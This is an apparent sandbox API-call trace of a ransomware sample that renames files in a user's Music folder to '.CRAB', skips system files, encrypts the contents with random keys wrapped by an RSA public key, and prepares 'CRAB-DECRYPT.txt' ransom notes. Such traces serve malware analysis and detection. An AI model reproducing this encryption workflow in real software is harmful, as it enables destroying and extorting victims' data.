	[0130.696] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav.CRAB.CRAB"
	[0130.696] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0130.699] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.700] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.700] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.700] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0130.700] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.700] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.700] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ed98) returned 1
	[0130.703] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.703] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.704] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.704] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0130.704] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0130.704] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.704] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.704] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.705] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0130.709] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320fb50) returned 1
	[0130.709] CryptGetKeyParam (in: hKey=0x320fb50, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0130.709] CryptEncrypt (in: hKey=0x320fb50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0130.709] GetLastError () returned 0x0
	[0130.709] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0130.709] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e7c0) returned 1
	[0130.720] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f6d0) returned 1
	[0130.721] CryptGetKeyParam (in: hKey=0x320f6d0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0130.721] CryptEncrypt (in: hKey=0x320f6d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0130.721] GetLastError () returned 0x0
	[0130.721] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0130.721] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\vq5UwIj.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\vq5uwij.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0130.721] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.722] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.722] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x4b3e, lpOverlapped=0x0) returned 1
	[0130.736] VirtualAlloc (lpAddress=0x0, dwSize=0x4b40, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.737] VirtualAlloc (lpAddress=0x0, dwSize=0x4b40, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0130.737] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.738] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffb4c2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.738] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x4b40, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x4b40, lpOverlapped=0x0) returned 1
	[0130.738] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.740] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.745] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0130.745] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0130.745] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0130.745] CloseHandle (hObject=0x3ec) returned 1
	[0130.746] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.746] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.746] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.747] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.748] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.748] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.749] FindNextFileW (in: hFindFile=0x320f650, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0130.749] FindClose (in: hFindFile=0x320f650 | out: hFindFile=0x320f650) returned 1
	[0130.749] FindNextFileW (in: hFindFile=0x320f890, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.749] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0130.749] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0130.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\CRAB-DECRYPT.txt"
	[0130.750] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.750] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\CRAB-DECRYPT.txt") returned 44
	[0130.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\CRAB-DECRYPT.txt") returned 44
	[0130.750] lstrlenW (lpString=".txt") returned 4
	[0130.751] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.754] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0130.754] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.754] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\CRAB-DECRYPT.txt") returned 44
	[0130.754] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\CRAB-DECRYPT.txt") returned 44
	[0130.754] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0130.754] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0130.754] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0130.754] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0130.754] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0130.754] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0130.754] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0130.755] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0130.755] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0130.755] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.755] FindNextFileW (in: hFindFile=0x320f890, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.755] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0130.755] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0130.755] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini"
	[0130.755] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.755] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini") returned 39
	[0130.755] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini") returned 39
	[0130.755] lstrlenW (lpString=".ini") returned 4
	[0130.756] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.756] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0130.756] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.756] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini") returned 39
	[0130.756] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\desktop.ini") returned 39
	[0130.756] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0130.756] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.757] FindNextFileW (in: hFindFile=0x320f890, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.757] lstrcmpW (lpString1="I8SmMnmBjC5LMsc9G.wav", lpString2=".") returned 1
	[0130.757] lstrcmpW (lpString1="I8SmMnmBjC5LMsc9G.wav", lpString2="..") returned 1
	[0130.757] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="I8SmMnmBjC5LMsc9G.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav"
	[0130.757] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.757] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav") returned 49
	[0130.757] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav") returned 49
	[0130.757] lstrlenW (lpString=".wav") returned 4
	[0130.757] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.758] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0130.758] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav") returned 49
	[0130.759] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav") returned 49
	[0130.759] lstrcmpiW (lpString1="I8SmMnmBjC5LMsc9G.wav", lpString2="desktop.ini") returned 1
	[0130.759] lstrcmpiW (lpString1="I8SmMnmBjC5LMsc9G.wav", lpString2="autorun.inf") returned 1
	[0130.759] lstrcmpiW (lpString1="I8SmMnmBjC5LMsc9G.wav", lpString2="ntuser.dat") returned -1
	[0130.759] lstrcmpiW (lpString1="I8SmMnmBjC5LMsc9G.wav", lpString2="iconcache.db") returned -1
	[0130.759] lstrcmpiW (lpString1="I8SmMnmBjC5LMsc9G.wav", lpString2="bootsect.bak") returned 1
	[0130.759] lstrcmpiW (lpString1="I8SmMnmBjC5LMsc9G.wav", lpString2="boot.ini") returned 1
	[0130.759] lstrcmpiW (lpString1="I8SmMnmBjC5LMsc9G.wav", lpString2="ntuser.dat.log") returned -1
	[0130.760] lstrcmpiW (lpString1="I8SmMnmBjC5LMsc9G.wav", lpString2="thumbs.db") returned -1
	[0130.760] lstrcmpiW (lpString1="I8SmMnmBjC5LMsc9G.wav", lpString2="CRAB-DECRYPT.txt") returned 1
	[0130.760] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.762] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav.CRAB") returned 54
	[0130.762] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\i8smmnmbjc5lmsc9g.wav")) returned 0x20
	[0130.762] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav", dwFileAttributes=0x20) returned 1
	[0130.762] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\i8smmnmbjc5lmsc9g.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\i8smmnmbjc5lmsc9g.wav.crab")) returned 1
	[0130.766] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.767] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav.CRAB"
	[0130.767] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav.CRAB.CRAB"
	[0130.767] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0130.773] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.773] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.774] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.774] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0130.774] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.774] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.776] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0130.784] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.785] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.785] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.786] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0130.786] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.786] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.786] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.787] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.788] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e7c0) returned 1
	[0130.792] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320f990) returned 1
	[0130.793] CryptGetKeyParam (in: hKey=0x320f990, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0130.793] CryptEncrypt (in: hKey=0x320f990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0130.793] GetLastError () returned 0x0
	[0130.793] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0130.793] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0130.795] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320fb90) returned 1
	[0130.795] CryptGetKeyParam (in: hKey=0x320fb90, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0130.796] CryptEncrypt (in: hKey=0x320fb90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0130.796] GetLastError () returned 0x0
	[0130.796] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0130.796] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\I8SmMnmBjC5LMsc9G.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\i8smmnmbjc5lmsc9g.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0130.796] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.797] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.797] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x7c4c, lpOverlapped=0x0) returned 1
	[0130.809] VirtualAlloc (lpAddress=0x0, dwSize=0x7c50, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.809] VirtualAlloc (lpAddress=0x0, dwSize=0x7c50, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0130.810] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.811] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff83b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.811] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x7c50, lpOverlapped=0x0) returned 1
	[0130.811] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.811] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.815] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0130.815] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0130.815] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0130.815] CloseHandle (hObject=0x3e8) returned 1
	[0130.815] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.815] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.816] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.816] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.816] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.816] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.816] FindNextFileW (in: hFindFile=0x320f890, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.816] lstrcmpW (lpString1="mmUZx- 8zi6qUmjiyvYC", lpString2=".") returned 1
	[0130.816] lstrcmpW (lpString1="mmUZx- 8zi6qUmjiyvYC", lpString2="..") returned 1
	[0130.816] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="mmUZx- 8zi6qUmjiyvYC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC"
	[0130.816] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\"
	[0130.816] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0130.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0130.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0130.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0130.817] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0130.817] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0130.817] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0130.817] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0130.817] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0130.817] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0130.817] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.817] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\\\CRAB-DECRYPT.txt") returned 66
